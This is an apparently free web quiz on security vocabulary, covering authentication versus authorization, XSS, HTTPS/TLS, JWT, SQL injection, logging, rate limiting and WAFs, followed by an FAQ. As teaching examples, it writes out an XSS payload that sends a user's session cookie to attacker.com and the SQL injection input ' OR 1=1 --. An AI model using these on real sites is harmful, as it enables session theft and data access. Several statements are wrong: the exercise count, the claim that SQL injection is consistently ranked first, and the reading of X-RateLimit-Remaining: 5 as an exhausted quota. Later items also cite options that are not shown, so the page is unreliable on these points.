5 exercises — core security terms: authentication vs authorization, XSS, HTTPS/TLS, JWT, and SQL injection. Covers the most common topics in security discussions and developer interviews.
Attacks (OWASP Top 10): SQL injection · XSS · CSRF · SSRF · broken access control · insecure deserialization
Transport: TLS · HTTPS · certificate · CA · cipher suite · HSTS · mTLS
Access control: RBAC · ABAC · principle of least privilege · zero trust · secret management
0 / 10 completed
1 / 10
What is the difference between authentication and authorization?
Authentication (AuthN) answers: "Who are you?" — verifying identity via password, token, biometric, or certificate. Authorization (AuthZ) answers: "What are you allowed to do?" — checking permissions after identity is confirmed. Classic mnemonic: AutheNtication = ideNtity. Real example: you log in (authentication), but you can only read data, not delete it (authorization). Common protocols: OAuth 2.0 (authorization framework), OIDC — OpenID Connect (authentication layer on top of OAuth), SAML (enterprise SSO), JWT (token format used in both). This distinction is one of the most common interview questions in security and backend roles.
2 / 10
A Cross-Site Scripting (XSS) attack works by:
XSS (Cross-Site Scripting) injects malicious JavaScript into a web page that other users then execute. Example: a comment field that stores <script>document.location='http://attacker.com/steal?c='+document.cookie</script> — when another user views the page, their browser runs the script and their session cookie is stolen. Prevention: output encoding (HTML-encode all user-supplied content before rendering), Content Security Policy (CSP) header (restricts which scripts can run), framework-level escaping (React, Angular auto-escape by default). The other options describe: A = CSRF, B = SQL injection, D = Man-in-the-middle attack.
3 / 10
What is HTTPS and what does it protect against?
HTTPS = HTTP over TLS (Transport Layer Security). It provides: ① Encryption — data in transit cannot be read by a third party (confidentiality); ② Integrity — data cannot be modified in transit without detection; ③ Authentication — the TLS certificate confirms you're talking to the real server, not an impersonator. TLS uses asymmetric cryptography for key exchange, then symmetric encryption (AES) for the session. Key terms: certificate, CA (Certificate Authority), certificate chain, SNI (Server Name Indication), TLS handshake, cipher suite. HTTP Strict Transport Security (HSTS) forces browsers to always use HTTPS for a domain.
4 / 10
Complete with the correct security term: "The API validates the JWT on every request. If the token is expired or the _____ doesn't match, the request is rejected with a 401."
A JWT (JSON Web Token) has three Base64-encoded parts separated by dots: header.payload.signature. The signature is created by signing the header + payload with a secret key (HMAC) or private key (RSA/ECDSA). If someone tampers with the payload (e.g. changes "role":"user" to "role":"admin"), the signature no longer matches and the token is rejected. This is what makes JWTs tamper-evident. Important: JWTs are signed, not encrypted by default — anyone can read the payload. Never store sensitive data in a JWT unless you also encrypt it (JWE). For sensitive revocation needs consider opaque tokens + token introspection instead.
5 / 10
What is SQL injection and how is it prevented?
SQL injection occurs when user input is directly concatenated into SQL queries. Example: query = "SELECT * FROM users WHERE name = '" + username + "'" — if username is ' OR 1=1 --, the query returns all users. Prevention: ① Parameterized queries / prepared statements — the SQL template and the user data are sent separately; the DB never interprets user data as SQL. ② ORMs — usually handle this automatically. ③ Input validation — defence in depth, not a primary fix. SQL injection is consistently ranked #1 in the OWASP Top 10 (Injection category). The same principle applies to NoSQL injection, LDAP injection, and command injection.
6 / 10
Sarah (Senior Developer) comments on a PR draft:
"I'm seeing that we're directly logging user IDs to the application logs without any sanitization. While this might be useful for debugging, it presents a potential risk of exposing sensitive data if an attacker gains access to the logs. We should consider masking or redacting these values."
This scenario tests understanding of data exposure risks. Full data masking is often overkill for debugging logs but is a valid long-term strategy. The correct approach – regex filtering – provides a targeted mitigation while acknowledging the logging's purpose. The other options are either too aggressive or dismissive of the security concern.
7 / 10
Mark (DevOps Engineer) sends a Slack message:
'Just deployed the new version of the API. I've configured rate limiting to prevent brute force attacks on the login endpoint and added a WAF rule to block common SQL injection patterns.'
This question focuses on practical implementation. Rate limiting is a key defense against brute-force attacks, and WAFs provide another layer of protection by filtering malicious requests. It's important to understand that these measures often complement each other. The incorrect options present misconceptions about their effectiveness or redundancy.
8 / 10
David (Lead Developer) writes a PR description:
'We're using the JWT_VERIFY_EXPIRES=true configuration setting to ensure JWTs expire after 24 hours. This limits the impact of compromised tokens, but we should also consider implementing stricter controls on token issuance and rotation.'
This assesses understanding of JWT security. While shorter expirations reduce risk, a 24-hour expiry balances security with usability and potential overhead. The key takeaway is that expiration is *part* of a layered approach – rotation and stricter issuance controls are equally important.
9 / 10
An API response indicates the following:
HTTP/1.1 200 OKContent-Type: application/jsonX-RateLimit-Remaining: 5{
"data": [ ... ]
}
This tests understanding of API rate limiting. The X-RateLimit-Remaining header signals that the client has reached its quota and should be handled accordingly. This prevents abuse and ensures fair usage of the API. The other options misinterpret the purpose or significance of this header.
10 / 10
Emily (Junior Developer) is reviewing code:
'I'm seeing that you're constructing SQL queries by concatenating strings with user input. This is a classic vulnerability! We need to use parameterized queries or prepared statements to prevent SQL injection.'
This focuses on preventative measures against SQL injection. Prepared statements are the standard defense – they separate user input from the query structure, preventing malicious code from being executed. The other options misrepresent how prepared statements work or incorrectly identify the vulnerability's scope.
What does the "Security Vocabulary" vocabulary exercise cover?
This exercise tests real IT vocabulary related to security vocabulary through 10 multiple-choice questions, each built from realistic workplace sentences rather than abstract definitions.
Is this vocabulary exercise free to use?
Yes. Every exercise on CoderSlingo, including this one, is completely free — no account, sign-up, or payment required.
How many questions does this exercise have?
This exercise has 10 questions. Each one shows a real-world sentence or scenario with multiple-choice options and an explanation once you answer.
What happens after I answer a question?
You'll see immediate feedback showing whether your answer was correct, along with a short explanation of why — then a button to move to the next question, and a full results screen at the end.
Can I retry the exercise if I get questions wrong?
Yes. Once you reach the results screen, click "Try again" to reset your answers and go through the exercise from the start as many times as you like.
Do I need to create an account to take this exercise?
No account is needed. Your answers are scored in your browser during the session — nothing is saved to a server, so you can jump straight in.
Is my progress saved if I leave the page?
No — progress within an exercise resets if you navigate away or reload. Each exercise is short enough to complete in a few minutes in one sitting.
Are these vocabulary exercises connected to other topics?
Yes — this module shares real-world context with 1 other vocabulary module. See "Related vocabulary" below to keep building a connected skill set.
How is this different from reading a glossary or blog article?
Exercises like this one are active recall drills — you have to choose the correct term or phrasing yourself, which builds retention faster than passively reading a definition.
Where can I find more vocabulary exercises?
Browse the full Vocabulary exercises hub for hundreds of modules covering Agile, DevOps, security, databases, architecture, and more — organised by IT role and skill.